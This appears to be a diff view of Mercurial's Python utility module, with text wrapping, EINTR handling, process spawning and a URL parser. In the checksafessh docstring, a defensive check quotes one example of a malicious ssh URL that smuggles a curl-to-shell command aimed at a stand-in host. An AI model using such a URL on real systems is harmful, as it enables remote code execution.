2484 | 2488 | self._handle_long_word(chunks, cur_line, cur_len, width) |
|
2485 | 2489 | |
|
2486 | 2490 | # If the last chunk on this line is all whitespace, drop it. |
|
2487 | 2491 | if (self.drop_whitespace and |
|
2488 | 2492 | cur_line and cur_line[-1].strip() == r''): |
|
2489 | 2493 | del cur_line[-1] |
|
2490 | 2494 | |
|
2491 | 2495 | # Convert current line back to a string and store it in list |
|
2492 | 2496 | # of all lines (return value). |
|
2493 | 2497 | if cur_line: |
|
2494 | 2498 | lines.append(indent + r''.join(cur_line)) |
|
2495 | 2499 | |
|
2496 | 2500 | return lines |
|
2497 | 2501 | |
|
2498 | 2502 | global MBTextWrapper |
|
2499 | 2503 | MBTextWrapper = tw |
|
2500 | 2504 | return tw(**kwargs) |
|
2501 | 2505 | |
|
2502 | 2506 | def wrap(line, width, initindent='', hangindent=''): |
|
2503 | 2507 | maxindent = max(len(hangindent), len(initindent)) |
|
2504 | 2508 | if width <= maxindent: |
|
2505 | 2509 | # adjust for weird terminal size |
|
2506 | 2510 | width = max(78, maxindent + 1) |
|
2507 | 2511 | line = line.decode(pycompat.sysstr(encoding.encoding), |
|
2508 | 2512 | pycompat.sysstr(encoding.encodingmode)) |
|
2509 | 2513 | initindent = initindent.decode(pycompat.sysstr(encoding.encoding), |
|
2510 | 2514 | pycompat.sysstr(encoding.encodingmode)) |
|
2511 | 2515 | hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding), |
|
2512 | 2516 | pycompat.sysstr(encoding.encodingmode)) |
|
2513 | 2517 | wrapper = MBTextWrapper(width=width, |
|
2514 | 2518 | initial_indent=initindent, |
|
2515 | 2519 | subsequent_indent=hangindent) |
|
2516 | 2520 | return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) |
|
2517 | 2521 | |
|
2518 | 2522 | if (pyplatform.python_implementation() == 'CPython' and |
|
2519 | 2523 | sys.version_info < (3, 0)): |
|
2520 | 2524 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
2521 | 2525 | # correctly. The following table shows what CPython version (and functions) |
|
2522 | 2526 | # are affected (buggy: has the EINTR bug, okay: otherwise): |
|
2523 | 2527 | # |
|
2524 | 2528 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
|
2525 | 2529 | # -------------------------------------------------- |
|
2526 | 2530 | # fp.__iter__ | buggy | buggy | okay |
|
2527 | 2531 | # fp.read* | buggy | okay [1] | okay |
|
2528 | 2532 | # |
|
2529 | 2533 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
|
2530 | 2534 | # |
|
2531 | 2535 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
|
2532 | 2536 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
|
2533 | 2537 | # |
|
2534 | 2538 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
|
2535 | 2539 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
|
2536 | 2540 | # CPython 2, because CPython 2 maintains an internal readahead buffer for |
|
2537 | 2541 | # fp.__iter__ but not other fp.read* methods. |
|
2538 | 2542 | # |
|
2539 | 2543 | # On modern systems like Linux, the "read" syscall cannot be interrupted |
|
2540 | 2544 | # when reading "fast" files like on-disk files. So the EINTR issue only |
|
2541 | 2545 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
|
2542 | 2546 | # files approximately as "fast" files and use the fast (unsafe) code path, |
|
2543 | 2547 | # to minimize the performance impact. |
|
2544 | 2548 | if sys.version_info >= (2, 7, 4): |
|
2545 | 2549 | # fp.readline deals with EINTR correctly, use it as a workaround. |
|
2546 | 2550 | def _safeiterfile(fp): |
|
2547 | 2551 | return iter(fp.readline, '') |
|
2548 | 2552 | else: |
|
2549 | 2553 | # fp.read* are broken too, manually deal with EINTR in a stupid way. |
|
2550 | 2554 | # note: this may block longer than necessary because of bufsize. |
|
2551 | 2555 | def _safeiterfile(fp, bufsize=4096): |
|
2552 | 2556 | fd = fp.fileno() |
|
2553 | 2557 | line = '' |
|
2554 | 2558 | while True: |
|
2555 | 2559 | try: |
|
2556 | 2560 | buf = os.read(fd, bufsize) |
|
2557 | 2561 | except OSError as ex: |
|
2558 | 2562 | # os.read only raises EINTR before any data is read |
|
2559 | 2563 | if ex.errno == errno.EINTR: |
|
2560 | 2564 | continue |
|
2561 | 2565 | else: |
|
2562 | 2566 | raise |
|
2563 | 2567 | line += buf |
|
2564 | 2568 | if '\n' in buf: |
|
2565 | 2569 | splitted = line.splitlines(True) |
|
2566 | 2570 | line = '' |
|
2567 | 2571 | for l in splitted: |
|
2568 | 2572 | if l[-1] == '\n': |
|
2569 | 2573 | yield l |
|
2570 | 2574 | else: |
|
2571 | 2575 | line = l |
|
2572 | 2576 | if not buf: |
|
2573 | 2577 | break |
|
2574 | 2578 | if line: |
|
2575 | 2579 | yield line |
|
2576 | 2580 | |
|
2577 | 2581 | def iterfile(fp): |
|
2578 | 2582 | fastpath = True |
|
2579 | 2583 | if type(fp) is file: |
|
2580 | 2584 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
|
2581 | 2585 | if fastpath: |
|
2582 | 2586 | return fp |
|
2583 | 2587 | else: |
|
2584 | 2588 | return _safeiterfile(fp) |
|
2585 | 2589 | else: |
|
2586 | 2590 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
|
2587 | 2591 | def iterfile(fp): |
|
2588 | 2592 | return fp |
|
2589 | 2593 | |
|
2590 | 2594 | def iterlines(iterator): |
|
2591 | 2595 | for chunk in iterator: |
|
2592 | 2596 | for line in chunk.splitlines(): |
|
2593 | 2597 | yield line |
|
2594 | 2598 | |
|
2595 | 2599 | def expandpath(path): |
|
2596 | 2600 | return os.path.expanduser(os.path.expandvars(path)) |
|
2597 | 2601 | |
|
2598 | 2602 | def hgcmd(): |
|
2599 | 2603 | """Return the command used to execute current hg |
|
2600 | 2604 | |
|
2601 | 2605 | This is different from hgexecutable() because on Windows we want |
|
2602 | 2606 | to avoid things opening new shell windows like batch files, so we |
|
2603 | 2607 | get either the python call or current executable. |
|
2604 | 2608 | """ |
|
2605 | 2609 | if mainfrozen(): |
|
2606 | 2610 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
2607 | 2611 | # Env variable set by py2app |
|
2608 | 2612 | return [encoding.environ['EXECUTABLEPATH']] |
|
2609 | 2613 | else: |
|
2610 | 2614 | return [pycompat.sysexecutable] |
|
2611 | 2615 | return gethgcmd() |
|
2612 | 2616 | |
|
2613 | 2617 | def rundetached(args, condfn): |
|
2614 | 2618 | """Execute the argument list in a detached process. |
|
2615 | 2619 | |
|
2616 | 2620 | condfn is a callable which is called repeatedly and should return |
|
2617 | 2621 | True once the child process is known to have started successfully. |
|
2618 | 2622 | At this point, the child process PID is returned. If the child |
|
2619 | 2623 | process fails to start or finishes before condfn() evaluates to |
|
2620 | 2624 | True, return -1. |
|
2621 | 2625 | """ |
|
2622 | 2626 | # Windows case is easier because the child process is either |
|
2623 | 2627 | # successfully starting and validating the condition or exiting |
|
2624 | 2628 | # on failure. We just poll on its PID. On Unix, if the child |
|
2625 | 2629 | # process fails to start, it will be left in a zombie state until |
|
2626 | 2630 | # the parent wait on it, which we cannot do since we expect a long |
|
2627 | 2631 | # running process on success. Instead we listen for SIGCHLD telling |
|
2628 | 2632 | # us our child process terminated. |
|
2629 | 2633 | terminated = set() |
|
2630 | 2634 | def handler(signum, frame): |
|
2631 | 2635 | terminated.add(os.wait()) |
|
2632 | 2636 | prevhandler = None |
|
2633 | 2637 | SIGCHLD = getattr(signal, 'SIGCHLD', None) |
|
2634 | 2638 | if SIGCHLD is not None: |
|
2635 | 2639 | prevhandler = signal.signal(SIGCHLD, handler) |
|
2636 | 2640 | try: |
|
2637 | 2641 | pid = spawndetached(args) |
|
2638 | 2642 | while not condfn(): |
|
2639 | 2643 | if ((pid in terminated or not testpid(pid)) |
|
2640 | 2644 | and not condfn()): |
|
2641 | 2645 | return -1 |
|
2642 | 2646 | time.sleep(0.1) |
|
2643 | 2647 | return pid |
|
2644 | 2648 | finally: |
|
2645 | 2649 | if prevhandler is not None: |
|
2646 | 2650 | signal.signal(signal.SIGCHLD, prevhandler) |
|
2647 | 2651 | |
|
2648 | 2652 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
|
2649 | 2653 | """Return the result of interpolating items in the mapping into string s. |
|
2650 | 2654 | |
|
2651 | 2655 | prefix is a single character string, or a two character string with |
|
2652 | 2656 | a backslash as the first character if the prefix needs to be escaped in |
|
2653 | 2657 | a regular expression. |
|
2654 | 2658 | |
|
2655 | 2659 | fn is an optional function that will be applied to the replacement text |
|
2656 | 2660 | just before replacement. |
|
2657 | 2661 | |
|
2658 | 2662 | escape_prefix is an optional flag that allows using doubled prefix for |
|
2659 | 2663 | its escaping. |
|
2660 | 2664 | """ |
|
2661 | 2665 | fn = fn or (lambda s: s) |
|
2662 | 2666 | patterns = '|'.join(mapping.keys()) |
|
2663 | 2667 | if escape_prefix: |
|
2664 | 2668 | patterns += '|' + prefix |
|
2665 | 2669 | if len(prefix) > 1: |
|
2666 | 2670 | prefix_char = prefix[1:] |
|
2667 | 2671 | else: |
|
2668 | 2672 | prefix_char = prefix |
|
2669 | 2673 | mapping[prefix_char] = prefix_char |
|
2670 | 2674 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
|
2671 | 2675 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2672 | 2676 | |
|
2673 | 2677 | def getport(port): |
|
2674 | 2678 | """Return the port for a given network service. |
|
2675 | 2679 | |
|
2676 | 2680 | If port is an integer, it's returned as is. If it's a string, it's |
|
2677 | 2681 | looked up using socket.getservbyname(). If there's no matching |
|
2678 | 2682 | service, error.Abort is raised. |
|
2679 | 2683 | """ |
|
2680 | 2684 | try: |
|
2681 | 2685 | return int(port) |
|
2682 | 2686 | except ValueError: |
|
2683 | 2687 | pass |
|
2684 | 2688 | |
|
2685 | 2689 | try: |
|
2686 | 2690 | return socket.getservbyname(port) |
|
2687 | 2691 | except socket.error: |
|
2688 | 2692 | raise Abort(_("no port number associated with service '%s'") % port) |
|
2689 | 2693 | |
|
2690 | 2694 | _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, |
|
2691 | 2695 | '0': False, 'no': False, 'false': False, 'off': False, |
|
2692 | 2696 | 'never': False} |
|
2693 | 2697 | |
|
2694 | 2698 | def parsebool(s): |
|
2695 | 2699 | """Parse s into a boolean. |
|
2696 | 2700 | |
|
2697 | 2701 | If s is not a valid boolean, returns None. |
|
2698 | 2702 | """ |
|
2699 | 2703 | return _booleans.get(s.lower(), None) |
|
2700 | 2704 | |
|
2701 | 2705 | _hextochr = dict((a + b, chr(int(a + b, 16))) |
|
2702 | 2706 | for a in string.hexdigits for b in string.hexdigits) |
|
2703 | 2707 | |
|
2704 | 2708 | class url(object): |
|
2705 | 2709 | r"""Reliable URL parser. |
|
2706 | 2710 | |
|
2707 | 2711 | This parses URLs and provides attributes for the following |
|
2708 | 2712 | components: |
|
2709 | 2713 | |
|
2710 | 2714 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
2711 | 2715 | |
|
2712 | 2716 | Missing components are set to None. The only exception is |
|
2713 | 2717 | fragment, which is set to '' if present but empty. |
|
2714 | 2718 | |
|
2715 | 2719 | If parsefragment is False, fragment is included in query. If |
|
2716 | 2720 | parsequery is False, query is included in path. If both are |
|
2717 | 2721 | False, both fragment and query are included in path. |
|
2718 | 2722 | |
|
2719 | 2723 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
2720 | 2724 | |
|
2721 | 2725 | Note that for backward compatibility reasons, bundle URLs do not |
|
2722 | 2726 | take host names. That means 'bundle://../' has a path of '../'. |
|
2723 | 2727 | |
|
2724 | 2728 | Examples: |
|
2725 | 2729 | |
|
2726 | 2730 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
2727 | 2731 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
2728 | 2732 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
2729 | 2733 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
2730 | 2734 | >>> url(b'file:///home/joe/repo') |
|
2731 | 2735 | <url scheme: 'file', path: '/home/joe/repo'> |
|
2732 | 2736 | >>> url(b'file:///c:/temp/foo/') |
|
2733 | 2737 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
2734 | 2738 | >>> url(b'bundle:foo') |
|
2735 | 2739 | <url scheme: 'bundle', path: 'foo'> |
|
2736 | 2740 | >>> url(b'bundle://../foo') |
|
2737 | 2741 | <url scheme: 'bundle', path: '../foo'> |
|
2738 | 2742 | >>> url(br'c:\foo\bar') |
|
2739 | 2743 | <url path: 'c:\\foo\\bar'> |
|
2740 | 2744 | >>> url(br'\\blah\blah\blah') |
|
2741 | 2745 | <url path: '\\\\blah\\blah\\blah'> |
|
2742 | 2746 | >>> url(br'\\blah\blah\blah#baz') |
|
2743 | 2747 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
2744 | 2748 | >>> url(br'file:///C:\users\me') |
|
2745 | 2749 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
2746 | 2750 | |
|
2747 | 2751 | Authentication credentials: |
|
2748 | 2752 | |
|
2749 | 2753 | >>> url(b'ssh://joe:xyz@x/repo') |
|
2750 | 2754 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
2751 | 2755 | >>> url(b'ssh://joe@x/repo') |
|
2752 | 2756 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
2753 | 2757 | |
|
2754 | 2758 | Query strings and fragments: |
|
2755 | 2759 | |
|
2756 | 2760 | >>> url(b'http://host/a?b#c') |
|
2757 | 2761 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
2758 | 2762 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
2759 | 2763 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
2760 | 2764 | |
|
2761 | 2765 | Empty path: |
|
2762 | 2766 | |
|
2763 | 2767 | >>> url(b'') |
|
2764 | 2768 | <url path: ''> |
|
2765 | 2769 | >>> url(b'#a') |
|
2766 | 2770 | <url path: '', fragment: 'a'> |
|
2767 | 2771 | >>> url(b'http://host/') |
|
2768 | 2772 | <url scheme: 'http', host: 'host', path: ''> |
|
2769 | 2773 | >>> url(b'http://host/#a') |
|
2770 | 2774 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
2771 | 2775 | |
|
2772 | 2776 | Only scheme: |
|
2773 | 2777 | |
|
2774 | 2778 | >>> url(b'http:') |
|
2775 | 2779 | <url scheme: 'http'> |
|
2776 | 2780 | """ |
|
2777 | 2781 | |
|
2778 | 2782 | _safechars = "!~*'()+" |
|
2779 | 2783 | _safepchars = "/!~*'()+:\\" |
|
2780 | 2784 | _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
|
2781 | 2785 | |
|
2782 | 2786 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
2783 | 2787 | # We slowly chomp away at path until we have only the path left |
|
2784 | 2788 | self.scheme = self.user = self.passwd = self.host = None |
|
2785 | 2789 | self.port = self.path = self.query = self.fragment = None |
|
2786 | 2790 | self._localpath = True |
|
2787 | 2791 | self._hostport = '' |
|
2788 | 2792 | self._origpath = path |
|
2789 | 2793 | |
|
2790 | 2794 | if parsefragment and '#' in path: |
|
2791 | 2795 | path, self.fragment = path.split('#', 1) |
|
2792 | 2796 | |
|
2793 | 2797 | # special case for Windows drive letters and UNC paths |
|
2794 | 2798 | if hasdriveletter(path) or path.startswith('\\\\'): |
|
2795 | 2799 | self.path = path |
|
2796 | 2800 | return |
|
2797 | 2801 | |
|
2798 | 2802 | # For compatibility reasons, we can't handle bundle paths as |
|
2799 | 2803 | # normal URLS |
|
2800 | 2804 | if path.startswith('bundle:'): |
|
2801 | 2805 | self.scheme = 'bundle' |
|
2802 | 2806 | path = path[7:] |
|
2803 | 2807 | if path.startswith('//'): |
|
2804 | 2808 | path = path[2:] |
|
2805 | 2809 | self.path = path |
|
2806 | 2810 | return |
|
2807 | 2811 | |
|
2808 | 2812 | if self._matchscheme(path): |
|
2809 | 2813 | parts = path.split(':', 1) |
|
2810 | 2814 | if parts[0]: |
|
2811 | 2815 | self.scheme, path = parts |
|
2812 | 2816 | self._localpath = False |
|
2813 | 2817 | |
|
2814 | 2818 | if not path: |
|
2815 | 2819 | path = None |
|
2816 | 2820 | if self._localpath: |
|
2817 | 2821 | self.path = '' |
|
2818 | 2822 | return |
|
2819 | 2823 | else: |
|
2820 | 2824 | if self._localpath: |
|
2821 | 2825 | self.path = path |
|
2822 | 2826 | return |
|
2823 | 2827 | |
|
2824 | 2828 | if parsequery and '?' in path: |
|
2825 | 2829 | path, self.query = path.split('?', 1) |
|
2826 | 2830 | if not path: |
|
2827 | 2831 | path = None |
|
2828 | 2832 | if not self.query: |
|
2829 | 2833 | self.query = None |
|
2830 | 2834 | |
|
2831 | 2835 | # // is required to specify a host/authority |
|
2832 | 2836 | if path and path.startswith('//'): |
|
2833 | 2837 | parts = path[2:].split('/', 1) |
|
2834 | 2838 | if len(parts) > 1: |
|
2835 | 2839 | self.host, path = parts |
|
2836 | 2840 | else: |
|
2837 | 2841 | self.host = parts[0] |
|
2838 | 2842 | path = None |
|
2839 | 2843 | if not self.host: |
|
2840 | 2844 | self.host = None |
|
2841 | 2845 | # path of file:///d is /d |
|
2842 | 2846 | # path of file:///d:/ is d:/, not /d:/ |
|
2843 | 2847 | if path and not hasdriveletter(path): |
|
2844 | 2848 | path = '/' + path |
|
2845 | 2849 | |
|
2846 | 2850 | if self.host and '@' in self.host: |
|
2847 | 2851 | self.user, self.host = self.host.rsplit('@', 1) |
|
2848 | 2852 | if ':' in self.user: |
|
2849 | 2853 | self.user, self.passwd = self.user.split(':', 1) |
|
2850 | 2854 | if not self.host: |
|
2851 | 2855 | self.host = None |
|
2852 | 2856 | |
|
2853 | 2857 | # Don't split on colons in IPv6 addresses without ports |
|
2854 | 2858 | if (self.host and ':' in self.host and |
|
2855 | 2859 | not (self.host.startswith('[') and self.host.endswith(']'))): |
|
2856 | 2860 | self._hostport = self.host |
|
2857 | 2861 | self.host, self.port = self.host.rsplit(':', 1) |
|
2858 | 2862 | if not self.host: |
|
2859 | 2863 | self.host = None |
|
2860 | 2864 | |
|
2861 | 2865 | if (self.host and self.scheme == 'file' and |
|
2862 | 2866 | self.host not in ('localhost', '127.0.0.1', '[::1]')): |
|
2863 | 2867 | raise Abort(_('file:// URLs can only refer to localhost')) |
|
2864 | 2868 | |
|
2865 | 2869 | self.path = path |
|
2866 | 2870 | |
|
2867 | 2871 | # leave the query string escaped |
|
2868 | 2872 | for a in ('user', 'passwd', 'host', 'port', |
|
2869 | 2873 | 'path', 'fragment'): |
|
2870 | 2874 | v = getattr(self, a) |
|
2871 | 2875 | if v is not None: |
|
2872 | 2876 | setattr(self, a, urlreq.unquote(v)) |
|
2873 | 2877 | |
|
2874 | 2878 | @encoding.strmethod |
|
2875 | 2879 | def __repr__(self): |
|
2876 | 2880 | attrs = [] |
|
2877 | 2881 | for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
|
2878 | 2882 | 'query', 'fragment'): |
|
2879 | 2883 | v = getattr(self, a) |
|
2880 | 2884 | if v is not None: |
|
2881 | 2885 | attrs.append('%s: %r' % (a, v)) |
|
2882 | 2886 | return '<url %s>' % ', '.join(attrs) |
|
2883 | 2887 | |
|
2884 | 2888 | def __bytes__(self): |
|
2885 | 2889 | r"""Join the URL's components back into a URL string. |
|
2886 | 2890 | |
|
2887 | 2891 | Examples: |
|
2888 | 2892 | |
|
2889 | 2893 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
2890 | 2894 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
2891 | 2895 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
2892 | 2896 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
2893 | 2897 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
2894 | 2898 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
2895 | 2899 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
2896 | 2900 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
2897 | 2901 | >>> bytes(url(b'http://localhost:80//')) |
|
2898 | 2902 | 'http://localhost:80//' |
|
2899 | 2903 | >>> bytes(url(b'http://localhost:80/')) |
|
2900 | 2904 | 'http://localhost:80/' |
|
2901 | 2905 | >>> bytes(url(b'http://localhost:80')) |
|
2902 | 2906 | 'http://localhost:80/' |
|
2903 | 2907 | >>> bytes(url(b'bundle:foo')) |
|
2904 | 2908 | 'bundle:foo' |
|
2905 | 2909 | >>> bytes(url(b'bundle://../foo')) |
|
2906 | 2910 | 'bundle:../foo' |
|
2907 | 2911 | >>> bytes(url(b'path')) |
|
2908 | 2912 | 'path' |
|
2909 | 2913 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
2910 | 2914 | 'file:///tmp/foo/bar' |
|
2911 | 2915 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
2912 | 2916 | 'file:///c:/tmp/foo/bar' |
|
2913 | 2917 | >>> print(url(br'bundle:foo\bar')) |
|
2914 | 2918 | bundle:foo\bar |
|
2915 | 2919 | >>> print(url(br'file:///D:\data\hg')) |
|
2916 | 2920 | file:///D:\data\hg |
|
2917 | 2921 | """ |
|
2918 | 2922 | if self._localpath: |
|
2919 | 2923 | s = self.path |
|
2920 | 2924 | if self.scheme == 'bundle': |
|
2921 | 2925 | s = 'bundle:' + s |
|
2922 | 2926 | if self.fragment: |
|
2923 | 2927 | s += '#' + self.fragment |
|
2924 | 2928 | return s |
|
2925 | 2929 | |
|
2926 | 2930 | s = self.scheme + ':' |
|
2927 | 2931 | if self.user or self.passwd or self.host: |
|
2928 | 2932 | s += '//' |
|
2929 | 2933 | elif self.scheme and (not self.path or self.path.startswith('/') |
|
2930 | 2934 | or hasdriveletter(self.path)): |
|
2931 | 2935 | s += '//' |
|
2932 | 2936 | if hasdriveletter(self.path): |
|
2933 | 2937 | s += '/' |
|
2934 | 2938 | if self.user: |
|
2935 | 2939 | s += urlreq.quote(self.user, safe=self._safechars) |
|
2936 | 2940 | if self.passwd: |
|
2937 | 2941 | s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
2938 | 2942 | if self.user or self.passwd: |
|
2939 | 2943 | s += '@' |
|
2940 | 2944 | if self.host: |
|
2941 | 2945 | if not (self.host.startswith('[') and self.host.endswith(']')): |
|
2942 | 2946 | s += urlreq.quote(self.host) |
|
2943 | 2947 | else: |
|
2944 | 2948 | s += self.host |
|
2945 | 2949 | if self.port: |
|
2946 | 2950 | s += ':' + urlreq.quote(self.port) |
|
2947 | 2951 | if self.host: |
|
2948 | 2952 | s += '/' |
|
2949 | 2953 | if self.path: |
|
2950 | 2954 | # TODO: similar to the query string, we should not unescape the |
|
2951 | 2955 | # path when we store it, the path might contain '%2f' = '/', |
|
2952 | 2956 | # which we should *not* escape. |
|
2953 | 2957 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
2954 | 2958 | if self.query: |
|
2955 | 2959 | # we store the query in escaped form. |
|
2956 | 2960 | s += '?' + self.query |
|
2957 | 2961 | if self.fragment is not None: |
|
2958 | 2962 | s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
2959 | 2963 | return s |
|
2960 | 2964 | |
|
2961 | 2965 | __str__ = encoding.strmethod(__bytes__) |
|
2962 | 2966 | |
|
2963 | 2967 | def authinfo(self): |
|
2964 | 2968 | user, passwd = self.user, self.passwd |
|
2965 | 2969 | try: |
|
2966 | 2970 | self.user, self.passwd = None, None |
|
2967 | 2971 | s = bytes(self) |
|
2968 | 2972 | finally: |
|
2969 | 2973 | self.user, self.passwd = user, passwd |
|
2970 | 2974 | if not self.user: |
|
2971 | 2975 | return (s, None) |
|
2972 | 2976 | # authinfo[1] is passed to urllib2 password manager, and its |
|
2973 | 2977 | # URIs must not contain credentials. The host is passed in the |
|
2974 | 2978 | # URIs list because Python < 2.4.3 uses only that to search for |
|
2975 | 2979 | # a password. |
|
2976 | 2980 | return (s, (None, (s, self.host), |
|
2977 | 2981 | self.user, self.passwd or '')) |
|
2978 | 2982 | |
|
2979 | 2983 | def isabs(self): |
|
2980 | 2984 | if self.scheme and self.scheme != 'file': |
|
2981 | 2985 | return True # remote URL |
|
2982 | 2986 | if hasdriveletter(self.path): |
|
2983 | 2987 | return True # absolute for our purposes - can't be joined() |
|
2984 | 2988 | if self.path.startswith(br'\\'): |
|
2985 | 2989 | return True # Windows UNC path |
|
2986 | 2990 | if self.path.startswith('/'): |
|
2987 | 2991 | return True # POSIX-style |
|
2988 | 2992 | return False |
|
2989 | 2993 | |
|
2990 | 2994 | def localpath(self): |
|
2991 | 2995 | if self.scheme == 'file' or self.scheme == 'bundle': |
|
2992 | 2996 | path = self.path or '/' |
|
2993 | 2997 | # For Windows, we need to promote hosts containing drive |
|
2994 | 2998 | # letters to paths with drive letters. |
|
2995 | 2999 | if hasdriveletter(self._hostport): |
|
2996 | 3000 | path = self._hostport + '/' + self.path |
|
2997 | 3001 | elif (self.host is not None and self.path |
|
2998 | 3002 | and not hasdriveletter(path)): |
|
2999 | 3003 | path = '/' + path |
|
3000 | 3004 | return path |
|
3001 | 3005 | return self._origpath |
|
3002 | 3006 | |
|
3003 | 3007 | def islocal(self): |
|
3004 | 3008 | '''whether localpath will return something that posixfile can open''' |
|
3005 | 3009 | return (not self.scheme or self.scheme == 'file' |
|
3006 | 3010 | or self.scheme == 'bundle') |
|
3007 | 3011 | |
|
3008 | 3012 | def hasscheme(path): |
|
3009 | 3013 | return bool(url(path).scheme) |
|
3010 | 3014 | |
|
3011 | 3015 | def hasdriveletter(path): |
|
3012 | 3016 | return path and path[1:2] == ':' and path[0:1].isalpha() |
|
3013 | 3017 | |
|
3014 | 3018 | def urllocalpath(path): |
|
3015 | 3019 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
3016 | 3020 | |
|
3017 | 3021 | def checksafessh(path): |
|
3018 | 3022 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
3019 | 3023 | |
|
3020 | 3024 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
3021 | 3025 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
3022 | 3026 | Let's prevent these potentially exploited urls entirely and warn the |
|
3023 | 3027 | user. |
|
3024 | 3028 | |
|
3025 | 3029 | Raises an error.Abort when the url is unsafe. |
|
3026 | 3030 | """ |
|
3027 | 3031 | path = urlreq.unquote(path) |
|
3028 | 3032 | if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
|
3029 | 3033 | raise error.Abort(_('potentially unsafe url: %r') % |
|
3030 | 3034 | (path,)) |
|
3031 | 3035 | |
|
3032 | 3036 | def hidepassword(u): |
|
3033 | 3037 | '''hide user credential in a url string''' |
|
3034 | 3038 | u = url(u) |
|
3035 | 3039 | if u.passwd: |
|
3036 | 3040 | u.passwd = '***' |
|
3037 | 3041 | return bytes(u) |
|
3038 | 3042 | |
|
3039 | 3043 | def removeauth(u): |
|
3040 | 3044 | '''remove all authentication information from a url string''' |
|
3041 | 3045 | u = url(u) |
|
3042 | 3046 | u.user = u.passwd = None |
|
3043 | 3047 | return str(u) |
|
3044 | 3048 | |
|
3045 | 3049 | timecount = unitcountfn( |
|
3046 | 3050 | (1, 1e3, _('%.0f s')), |
|
3047 | 3051 | (100, 1, _('%.1f s')), |
|
3048 | 3052 | (10, 1, _('%.2f s')), |
|
3049 | 3053 | (1, 1, _('%.3f s')), |
|
3050 | 3054 | (100, 0.001, _('%.1f ms')), |
|
3051 | 3055 | (10, 0.001, _('%.2f ms')), |
|
3052 | 3056 | (1, 0.001, _('%.3f ms')), |
|
3053 | 3057 | (100, 0.000001, _('%.1f us')), |
|
3054 | 3058 | (10, 0.000001, _('%.2f us')), |
|
3055 | 3059 | (1, 0.000001, _('%.3f us')), |
|
3056 | 3060 | (100, 0.000000001, _('%.1f ns')), |
|
3057 | 3061 | (10, 0.000000001, _('%.2f ns')), |
|
3058 | 3062 | (1, 0.000000001, _('%.3f ns')), |
|
3059 | 3063 | ) |
|
3060 | 3064 | |
|
3061 | 3065 | _timenesting = [0] |
|
3062 | 3066 | |
|
3063 | 3067 | def timed(func): |
|
3064 | 3068 | '''Report the execution time of a function call to stderr. |
|
3065 | 3069 | |
|
3066 | 3070 | During development, use as a decorator when you need to measure |
|
3067 | 3071 | the cost of a function, e.g. as follows: |
|
3068 | 3072 | |
|
3069 | 3073 | @util.timed |
|
3070 | 3074 | def foo(a, b, c): |
|
3071 | 3075 | pass |
|
3072 | 3076 | ''' |
|
3073 | 3077 | |
|
3074 | 3078 | def wrapper(*args, **kwargs): |
|
3075 | 3079 | start = timer() |
|
3076 | 3080 | indent = 2 |
|
3077 | 3081 | _timenesting[0] += indent |
|
3078 | 3082 | try: |
|
3079 | 3083 | return func(*args, **kwargs) |
|
3080 | 3084 | finally: |
|
3081 | 3085 | elapsed = timer() - start |
|
3082 | 3086 | _timenesting[0] -= indent |
|
3083 | 3087 | stderr.write('%s%s: %s\n' % |
|
3084 | 3088 | (' ' * _timenesting[0], func.__name__, |
|
3085 | 3089 | timecount(elapsed))) |
|
3086 | 3090 | return wrapper |
|
